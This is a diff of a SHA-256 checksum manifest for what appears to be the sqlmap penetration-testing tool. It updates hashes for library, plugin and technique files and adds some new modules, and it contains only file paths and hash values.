+3c567dd087963349a04a3f94312d71066bfbe4fd57139878b555aea4a637676d  extra/runcmd/runcmd.exe_
 70bd8a15e912f06e4ba0bd612a5f19a6b35ed0945b1e370f9b8700b120272d8f  extra/runcmd/src/README.txt
 baecf66c52fe3c39f7efa3a70f9d5bd6ea8f841abd8da9e6e11bdc80a995b3ae  extra/runcmd/src/runcmd/runcmd.cpp
 a24d2dc1a5a8688881bea6be358359626d339d4a93ea55e8b756615e3608b8dd  extra/runcmd/src/runcmd/runcmd.vcproj
@@ -143,7 +144,7 @@ e278d40d3121d757c2e1b8cc8192397e5014f663fbf6d80dd1118443d4fc9442  extra/runcmd/s
 38f59734b971d1dc200584936693296aeebef3e43e9e85d6ec3fd6427e5d6b4b  extra/shellcodeexec/linux/shellcodeexec.x32_
 b8bcb53372b8c92b27580e5cc97c8aa647e156a439e2306889ef892a51593b17  extra/shellcodeexec/linux/shellcodeexec.x64_
 cfa1f8d02f815c4e8561f6adbdd4e84dda6b6af6c7a0d5eeb9d7346d07e1e7ad  extra/shellcodeexec/README.txt
-980c03585368a124a085c9f35154f550f945d356ceb845df82b2734e9ad9830b  extra/shellcodeexec/windows/shellcodeexec.x32.exe_
+b1381d5c473a428b3ca30e7f438e86ddcb90b51504065d332df0efd3e321d3dd  extra/shellcodeexec/windows/shellcodeexec.x32.exe_
 384805687bfe5b9077d90d78183afcbd4690095dfc4cc12b2ed3888f657c753c  extra/shutils/autocompletion.sh
 a86533e9f9251f51cd3a657d92b19af4ec4282cd6d12a2914e3206b58c964ee0  extra/shutils/blanks.sh
 cfd91645763508ba5d639524e1448bac64d4a1a9f2b1cf6faf7a505c97d18b55  extra/shutils/drei.sh
@@ -155,113 +156,128 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128  extra/shutils/
 3893c13c6264dd71842a3d2b3509dd8335484f825b43ed2f14f8161905d1b214  extra/shutils/pycodestyle.sh
 0525e3f6004eb340b8a1361072a281f920206626f0c8f6d25e67c8cef7aee78a  extra/shutils/pydiatra.sh
 763240f767c3d025cefb70dede0598c134ea9a520690944ae16a734e80fd98a0  extra/shutils/pyflakes.sh
-d12fd5916e97b2034ba7fbfa8da48f590dc10807119b97a9d27347500c610c2d  extra/shutils/pypi.sh
+07c500a13c9fca3ee2915bf00db9f064fa7d4aa1631989ef86f87828bdf60c11  extra/shutils/pypi.sh
 df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264  extra/shutils/recloak.sh
 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f  extra/shutils/strip.sh
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  extra/vulnserver/__init__.py
-9e5e4d3d9acb767412259895a3ee75e1a5f42d0b9923f17605d771db384a6f60  extra/vulnserver/vulnserver.py
-b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60  lib/controller/action.py
-e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9  lib/controller/checks.py
-430475857a37fd997e73a47d7485c5dd4aa0985ef32c5a46b5e7bff01749ba66  lib/controller/controller.py
-56e03690c1b783699c9f30cb2f8cc743d3716aba8137e6b253b21d1dd31a4314  lib/controller/handler.py
+617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e  extra/vulnserver/vulnserver.py
+a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e  lib/controller/action.py
+6f3198df20330b6ff0eb7f615082ca7046e6887ac5d3e5df3598d36f66724e01  lib/controller/checks.py
+666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96  lib/controller/controller.py
+d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f  lib/controller/handler.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/controller/__init__.py
-2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769  lib/core/agent.py
-b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2  lib/core/bigarray.py
-3b2ca69b7a2e07f6db2fed2651c19e401f62e2068ea3b5f8f96ebf0ff067f349  lib/core/common.py
-a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e  lib/core/compat.py
-a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2  lib/core/convert.py
+9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1  lib/core/agent.py
+c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856  lib/core/bigarray.py
+d143df718fbaacb617b6046c73cf4e47932e1a25928a4e1ecb87ea77a3b154ed  lib/core/common.py
+8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5  lib/core/compat.py
+5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9  lib/core/convert.py
 c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6  lib/core/data.py
-ca06a0e9d66a58e74ef994d53f9b3cd2ebaed98735bbab99854054235a8083d6  lib/core/datatype.py
-70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e  lib/core/decorators.py
+d9ec034a6d51ab4ddde0b6aa7ed306f9e0b1336557f77d7939ba547600f9b3ae  lib/core/datatype.py
+f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6  lib/core/decorators.py
 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d  lib/core/defaults.py
-6b366f897e66b9df39df2ee45fef77d46efb7a2d4e294440d3aa7dc1b2f4cedf  lib/core/dicts.py
-a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c  lib/core/dump.py
-1abf1edeacb85eaf5cffd35fcbde4eee2da6f5fc722a8dc1f9287fb55d138418  lib/core/enums.py
+8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7  lib/core/dicts.py
+10d8bb671a64cc787fc2fbf2c641560b7797fccd62c4792e55dffe5efab9f544  lib/core/dump.py
+6dd47f52082e98dc0cda6969b277b7d81c6f7c68dac4688821f873a1c65c6edf  lib/core/enums.py
 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4  lib/core/exception.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/core/__init__.py
 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad  lib/core/log.py
-02a2264324caa249154e024a01bcd7cc40dbca4d647d5d10a50654b4415a6d77  lib/core/optiondict.py
-c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a  lib/core/option.py
-8171f6ee33e7742f06bb3014a28324496374beddee7b378ace10a26414a97762  lib/core/patch.py
+5a576f802f1298d0aa357e766ae6502fa53cacbbe0b1d328b7410a8b20a885b2  lib/core/optiondict.py
+98d3d61278794705c7039e40fab66a626e8d6ab765383c5379cec7a066b09301  lib/core/option.py
+21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc  lib/core/patch.py
 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec  lib/core/profiling.py
-03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04  lib/core/readlineng.py
-48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3  lib/core/replication.py
+0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364  lib/core/readlineng.py
+9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d  lib/core/replication.py
 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6  lib/core/revision.py
 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c  lib/core/session.py
-bf818add365e18e378b15fb33db123d846acddc2969e05af52eacfe745cc335e  lib/core/settings.py
-cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82  lib/core/shell.py
-bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725  lib/core/subprocessng.py
-d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038  lib/core/target.py
-ddf8c5a3dbebd6cdf8b8ba4417e36652d1e040f025175cb6487f1aebc0208836  lib/core/testing.py
-b5b65f018d6ef4b1ceeebbc50d372e07d4733267c9f3f4b13062efd065e847b6  lib/core/threads.py
+516d6b40efa04a5a25b0aa317ea49771f6964a57581777761f82d36d1b1b78b0  lib/core/settings.py
+c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750  lib/core/shell.py
+a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64  lib/core/subprocessng.py
+19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7  lib/core/target.py
+540443bdc23965be80d80185d7f3b54b632228af220dc2cb2e9cbb3f4fd4cea4  lib/core/testing.py
+95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86  lib/core/threads.py
 b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02  lib/core/unescaper.py
-10719f5ca450610ad28242017b2d8a77354ca357ffa26948c5f62d20cac29a8b  lib/core/update.py
-ec11fd5a3f4efd10a1cae288157ac6eb6fb75da4666d76d19f6adf74ac338b5a  lib/core/wordlist.py
+53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d  lib/core/update.py
+2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c  lib/core/wordlist.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/__init__.py
 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821  lib/parse/banner.py
-a9f10a558684778bdb00d446cb88967fc1bfd413ae6a5f4bd582b3ea442baa87  lib/parse/cmdline.py
+403ebb5b54531cf907a30ed439fc881cf3cbae68c3a4ec600c75312e5f6b9001  lib/parse/cmdline.py
 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158  lib/parse/configfile.py
 c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb  lib/parse/handler.py
 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c  lib/parse/headers.py
-1ad9054cd8476a520d4e2c141085ae45d94519df5c66f25fac41fe7d552ab952  lib/parse/html.py
+ea9b195e5f5030b96d1993c106c1e13fb5c7faaf6bdc5daacfd06ec984e7f323  lib/parse/html.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/parse/__init__.py
 d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73  lib/parse/payloads.py
-80d26a30abe948faf817a14f746cc8b3e2341ea8286830cccaae253b8ac0cdff  lib/parse/sitemap.py
+c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec  lib/parse/sitemap.py
 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c  lib/request/basicauthhandler.py
-a1c638493ecdc5194db7186bbfed815c6eed2344f2607cac8c9fa50534824266  lib/request/basic.py
+369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3  lib/request/basic.py
 bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e  lib/request/chunkedhandler.py
-2daf0ce19eacda64687f441c90ef8da51714c3e8947c993ba08fb4ecdc4f5287  lib/request/comparison.py
-f83140c85be7f572f83c4ab4279fa1d8601243210cdfe4a44b2fc218befbcffd  lib/request/connect.py
+9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1  lib/request/comparison.py
+729e07a2ca6b1d83563e9c6dc5a884d1b664c1764be06776ea93bde305164f0c  lib/request/connect.py
 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498  lib/request/direct.py
-cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec  lib/request/dns.py
-f56fc33251bd6214e3a6316c8f843eb192b2996aa84bd4c3e98790fdcf6e8cf0  lib/request/httpshandler.py
+a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0  lib/request/dns.py
+92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c  lib/request/httpshandler.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/request/__init__.py
-aeeeb5f0148078e30d52208184042efc3618d3f2e840d7221897aae34315824e  lib/request/inject.py
+7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab  lib/request/inject.py
+d1c5e4bda94394b5bb42c3b48b41b73ecb6069c3971af2c54394c9b35c2fed6e  lib/request/keepalive.py
 ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4  lib/request/methodrequest.py
 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568  lib/request/pkihandler.py
 b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e  lib/request/rangehandler.py
-47a97b264fb588142b102d18100030ce333ce372c677b97ed6cb04105c6c9d30  lib/request/redirecthandler.py
+fa347e74361904d052e4d5c958ebbdf080e4f7003176824a44786108b4d7afc6  lib/request/redirecthandler.py
 1bf93c2c251f9c422ecf52d9cae0cd0ff4ea2e24091ee6d019c7a4f69de8e5eb  lib/request/templates.py
 01600295b17c00d4a5ada4c77aa688cfe36c89934da04c031be7da8040a3b457  lib/takeover/abstraction.py
 d3c93562d78ebdaf9e22c0ea2e4a62adb12f0ce9e9d9631c1ea000b1a07d04ab  lib/takeover/icmpsh.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/takeover/__init__.py
 12e729e4828b7e1456ca41dae60cb4d7eca130a8b4c4885dd0f5501dcbda7fe4  lib/takeover/metasploit.py
 f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0  lib/takeover/registry.py
-f6e5d6e2ff368fa39943b2302982f33c47eb9a12d01419bef50fcf934b2bce34  lib/takeover/udf.py
+0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc  lib/takeover/udf.py
 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f  lib/takeover/web.py
-14179e5273378ec8d63660a87c5cb07a42b61a6fceb7f3bb494a7b5ce10ce2cb  lib/takeover/xp_cmdshell.py
-69928272eed889033e106527f88454dc844bfbb375fcf7c22d5f76ee30c62c9b  lib/techniques/blind/inference.py
+8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527  lib/takeover/xp_cmdshell.py
+a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e  lib/techniques/blind/inference.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/blind/__init__.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/dns/__init__.py
 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1  lib/techniques/dns/test.py
-2934514a60cbcd48675053a73f785b4c7bfe606b51c34ae81a86818362ec4672  lib/techniques/dns/use.py
+74ca78082dcd20b3faf07cc944cd65ea552996df40e6fb58d0a011b262528456  lib/techniques/dns/use.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/error/__init__.py
-f552b6140d4069be6a44792a08f295da8adabc1c4bb6a5e100f222f87144ca9d  lib/techniques/error/use.py
+5bbef46c16e34fd80e3f9f0e9aa255ce2e39be0d0e57479e25890b041c7efc7d  lib/techniques/error/use.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/graphql/__init__.py
+c3e5cf7e5e35ae5fd86b63a515b37e6f06e61c70d2690252f2ee8373aa16637e  lib/techniques/graphql/inject.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/__init__.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/ldap/__init__.py
+039d64a610b0e92e953fa6eaa740e7c2867e34e12b82e0113204e8f6100dc368  lib/techniques/ldap/inject.py
+44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724  lib/techniques/nosql/__init__.py
+bde75d41ac3e5747b96d2af4c33922573158cb43b48714a28490d6720dd85d89  lib/techniques/nosql/inject.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/ssti/__init__.py
+14637b64878248e5965887b07aa68e62615dac88e2ffc6c3a581430bdd4e309e  lib/techniques/ssti/inject.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/union/__init__.py
-30cae858e2a5a75b40854399f65ad074e6bb808d56d5ee66b94d4002dc6e101b  lib/techniques/union/test.py
-a17c1d201bd084de0093254bcd303aa859399891de13a7259e8c200e98294efb  lib/techniques/union/use.py
-67dff80a17503b91c8ff93788ccc037b6695aa18b0793894b42488cbb21c4c83  lib/utils/api.py
-ea5e14f8c9d74b0fb17026b14e3fb70ee90e4046e51ab2c16652d86b3ca9b949  lib/utils/brute.py
+ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085  lib/techniques/union/test.py
+c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc  lib/techniques/union/use.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/xpath/__init__.py
+c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734  lib/techniques/xpath/inject.py
+aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014  lib/utils/api.py
+442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2  lib/utils/brute.py
 da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718  lib/utils/crawler.py
 a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb  lib/utils/deps.py
+b0d8ae8513c1f5ffcaa4bf0398790f26bc2180a6acf07bf5b2c86555bf9113f6  lib/utils/dialect.py
 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75  lib/utils/getch.py
-853c3595e1d2efc54b8bfb6ab12c55d1efc1603be266978e3a7d96d553d91a52  lib/utils/gui.py
-366e6fd5356fae7e3f2467c070d064b6695be80b50f1530ea3c01e86569b58b2  lib/utils/har.py
-a1a1ccd5ec29a6a884cfa8264d4e0f7e0b6a0760c692eb402805f926da41e6ee  lib/utils/hashdb.py
-84bf572a9e7915e91dbffea996e1a7b749392725f1ad7f412d0ff48c636a2896  lib/utils/hash.py
+3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9  lib/utils/gui.py
+972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935  lib/utils/har.py
+0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9  lib/utils/hashdb.py
+71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666  lib/utils/hash.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/utils/__init__.py
-22ba65391b0a73b1925e5becf8ddab6ba73a196d86e351a2263509aad6676bd7  lib/utils/pivotdumptable.py
+1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a  lib/utils/keysetdump.py
+04b28ad98340a589eb9b21d014c435e8193c2bea3a21af9875b6f23c9b270f1f  lib/utils/pivotdumptable.py
 c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a  lib/utils/progress.py
-27afe211030d06db28df85296bfbf698296c94440904c390cef0ff0c259dbbc5  lib/utils/purge.py
-c853aa08ab24a00a78969408d60684da0ccb33a2a6693492e0acb7c480ffbcd1  lib/utils/safe2bin.py
-2ee72e83500a1bf02fcd942564fca0053a0c46f736286f0c35dd6904e09f4734  lib/utils/search.py
+c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855  lib/utils/prove.py
+2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237  lib/utils/purge.py
+e6d8e812c380647590a175528e75c2835fc75dd12f989ef1cceb5c12a5815bd8  lib/utils/safe2bin.py
+f8b9a876a19543ecb215956f525be6f59109716d0c301b57aa85d57cd2194a21  lib/utils/search.py
 8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35  lib/utils/sgmllib.py
-b08373d647f337722983221d9051d8da253bf02e3f084aba8aee642ace8d02a6  lib/utils/sqlalchemy.py
+2760c4b82382e501f16bb98edec9531f46e5b286fbf004b346545b9b62f84824  lib/utils/sqlalchemy.py
 f0e5525a92fe971defc8f74c27942ff9138b1e8251f2e0d9a8bd59285b656084  lib/utils/timeout.py
-f821dc39a75ea48dccfa758788de15d38b9ca6a780a98f59935fb6610f75508c  lib/utils/tui.py
+f28693d5d2783f3d5069b1df3d12e01730ce783f4a40ef31656ef2c879d2f027  lib/utils/tui.py
 e430db49aa768ff2cdba76932e30871c366054599c44d91580dde459ab9b6fef  lib/utils/versioncheck.py
-b6cd3059c369bbcb162cfd797596849f9f95078c3b2e91fecee36d3ea1001fc2  lib/utils/xrange.py
+c9618a9f5300f85f2078cdd71c6bee6b45a61a404834c17b07b0e0eb4709586a  lib/utils/wafbypass.py
+1b439fc59fd202c21c74978ed9f36d1c309533226c77907eae159461525f9fef  lib/utils/xrange.py
 b1bbb62f5b272a6247d442d5e4f644a5bca7138e70776539ec84a5a90433fd13  LICENSE
 6b1828a80ae3472f1adb53a540dee0835eccac14f8cfc4bf73962c4e49a49557  plugins/dbms/access/connector.py
 c18939660aebb5ce323b4c78a46a2b119869ba8d0b44c853924118936ce5b0ac  plugins/dbms/access/enumeration.py
@@ -277,7 +293,7 @@ c07f786b06dc694fa6e300f69b3e838dc9c917cf8120306f1c23e834193d3694  plugins/dbms/a
 b55d9c944cf390cd496bd5e302aa5815c9c327d5bb400dc9426107c91a40846d  plugins/dbms/altibase/__init__.py
 859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e  plugins/dbms/altibase/syntax.py
 2c3bb750d3c1fb1547ec59eb392d66df37735bd74cca4d2c745141ea577cce1e  plugins/dbms/altibase/takeover.py
-c03bf2d0584327f83956209f4f4697661b908b32b6fe5a1f9f2e06560870b084  plugins/dbms/cache/connector.py
+584e1ecd6ab812b52a0e959d1e061895411109f145fb81faf435a2c568f91c53  plugins/dbms/cache/connector.py
 49b591c1b1dc7927f59924447ad8ec5cb9d97a74ad4b34b43051253876c27cdc  plugins/dbms/cache/enumeration.py
 672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409  plugins/dbms/cache/filesystem.py
 ef270e87f7fc2556f900c156a4886f995a185ff920df9d2cd954db54ee1f0b77  plugins/dbms/cache/fingerprint.py
@@ -326,7 +342,7 @@ c11430510e18ff1eec0d6e29fc308e540bbd7e925c60af4cd19930a726c56b74  plugins/dbms/e
 7d2dc7c31c60dc631f2c49d478a4ddeb6b8e08b93ad5257d5b0df4b9a57ed807  plugins/dbms/extremedb/__init__.py
 4878e83ef8e33915412f2fac17d92f1b1f6f18b47d31500cd93e59d68f8b5752  plugins/dbms/extremedb/syntax.py
 e05577e2e85be5e0d9060062511accbb7b113dfbafa30c80a0f539c9e4593c9f  plugins/dbms/extremedb/takeover.py
-5a5ab2661aea9e75795836f0e2f3143453dfcc57fa9b42a999349055e472d6ea  plugins/dbms/firebird/connector.py
+368cac0cb766e0a4b4850f41c3c2049244d832f9f75218270b526a3785e94ee7  plugins/dbms/firebird/connector.py
 813ccc7b1b78a78079389a37cc67aa91659aa45b5ddd7b124a922556cdafc461  plugins/dbms/firebird/enumeration.py
 5becd41639bb2e12abeda33a950d777137b0794161056fb7626e5e07ab80461f  plugins/dbms/firebird/filesystem.py
 f560172d8306ca135de82cf1cd22a20014ce95da8b33a28d698dd1dcd3dad4b0  plugins/dbms/firebird/fingerprint.py
@@ -347,9 +363,9 @@ c14d73712d9d6fcfa6b580d72075d51901c472bdd7e1bc956973363ad1fca4d8  plugins/dbms/h
 742d4a29f8875c8dabe58523b5e3b27c66e29a964342ec6acd19a71714b46bb1  plugins/dbms/h2/__init__.py
 1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740  plugins/dbms/h2/syntax.py
 c994c855cf0d30cf0fa559a1d9afc22c3e31a14ba2634f11a1a393c7f6ec4b95  plugins/dbms/h2/takeover.py
-eedf40aa079cfaae5616b213ff994f796b726fcfb99c567db51cdf2cd75aacc7  plugins/dbms/hsqldb/connector.py
+cda313311ae5041eb8129db7cff8f9d9d42296313929cf72938e962d6ec46466  plugins/dbms/hsqldb/connector.py
 03c8dd263a4d175f3b55e9cbcaa2823862abf858bab5363771792d8fd49d77a1  plugins/dbms/hsqldb/enumeration.py
-2e64d477331cb7da88757d081abf2885d025b51874f6b16bde83d82f1430bc35  plugins/dbms/hsqldb/filesystem.py
+efce2b895a68cfeb78bd59803d8d4b543c478b090a57a1edd11bcaa67d125368  plugins/dbms/hsqldb/filesystem.py
 b5b86da64fc24453a3354523a786a2047b99cd200eae7015eef180655be5cff5  plugins/dbms/hsqldb/fingerprint.py
 321a8efe7b65cbdf69ff4a8c1509bd97ed5f0edd335a3742e3d19bca2813e24a  plugins/dbms/hsqldb/__init__.py
 1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740  plugins/dbms/hsqldb/syntax.py
@@ -363,7 +379,7 @@ d4a7721fa80465ac30679ba79e7a448aa94b2efa1dbf4119766bc7084d7e87e4  plugins/dbms/i
 1ce793ee91c4de6eb7839adc379652d55ef54f162a9a030b948c54d55dc93c14  plugins/dbms/informix/takeover.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  plugins/dbms/__init__.py
 3869c8a1d6ddd4dbfe432217bb269398ecd658aaa7af87432e8fa3d4d4294bbc  plugins/dbms/maxdb/connector.py
-3d0fef588c8972fc1aeab0c58d800cd128b557a48d8666c36c5b6dbc9617d19d  plugins/dbms/maxdb/enumeration.py
+fee0735986508dbbe2524d8c758694cea0d9b258547ee2a940ea139b0f6210b4  plugins/dbms/maxdb/enumeration.py
 e67ecd7a1faf1ef9e263c387526f4cdeefd58e07532750b4ebffccc852fab4d2  plugins/dbms/maxdb/filesystem.py
 78d04c8a298f9525c9f0f392fa542c86d5629b0e35dd9383960a238ee937fb93  plugins/dbms/maxdb/fingerprint.py
 10db7520bc988344e10fe1621aa79796d7e262c53da2896a6b46fcf9ee6f5ba4  plugins/dbms/maxdb/__init__.py
@@ -386,42 +402,42 @@ e9ef99b83542121ac4489526ecb90def4bba9ec62a0dd990bb39d7db387c5ff6  plugins/dbms/m
 8a9d30546e3e96295b59bb5e53b352d039f785e0fa8ae19b2073083f1555f45b  plugins/dbms/monetdb/connector.py
 ba04af3683b9a6e29e8fa6b3bf436a57e59435cebb042414f2df82018d91599e  plugins/dbms/monetdb/enumeration.py
 672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409  plugins/dbms/monetdb/filesystem.py
-5fd3a9eb6210c32395e025e327bfeb24fd18f0cc7da554be526c7f2ae9af3f7d  plugins/dbms/monetdb/fingerprint.py
+7188530754349b765b9842ad8f416766fd7035f131ad6444156ae0de45efc8fe  plugins/dbms/monetdb/fingerprint.py
 05dc581f0fbed20030200e5c7bd45a971ad4e910c6502ad02cc6c26fd5937003  plugins/dbms/monetdb/__init__.py
 78f1ff4b82fd4af50e1fbdb81539862f1c31258cda212b39f4a8501960f1b95e  plugins/dbms/monetdb/syntax.py
 236fd244f0bbc3976b389429a8176feda6c243267564c2a0eff6fc2458c1b3f9  plugins/dbms/monetdb/takeover.py
 6bdc774463ac87b1bd1b6a9d5c2346b7edbf40d9848b7870a30d1eaedde4fc51  plugins/dbms/mssqlserver/connector.py
-52c19e9067f22f5c386206943d1807af4c661500bf260930a5986e9a180e96c7  plugins/dbms/mssqlserver/enumeration.py
-838ed364ce46ae37fb5b02f47d2767f7d49595f81caf4bc51c1e25fd18e4aa65  plugins/dbms/mssqlserver/filesystem.py
+69ba678efde8335efb8a167b63143b4fb65ea19802bc3ade30c87cb979c198e4  plugins/dbms/mssqlserver/enumeration.py
+67cd70b64aed27af467682ceae8e20992b6765d2374d5762efb5a4585b8a6f79  plugins/dbms/mssqlserver/filesystem.py
 38ade085f9f1b227eda8c89f78e3ce869e8f430c98bef0cc7cbd2c7dcd60c24e  plugins/dbms/mssqlserver/fingerprint.py
 1ecde09e80d7b709a710281f4983a6831bc02ca3458ae0b97b28446d6db241b4  plugins/dbms/mssqlserver/__init__.py
 a89074020253365b6c95a4fa53e41fb0dc16f26a209b31f28e65910f26b81d21  plugins/dbms/mssqlserver/syntax.py
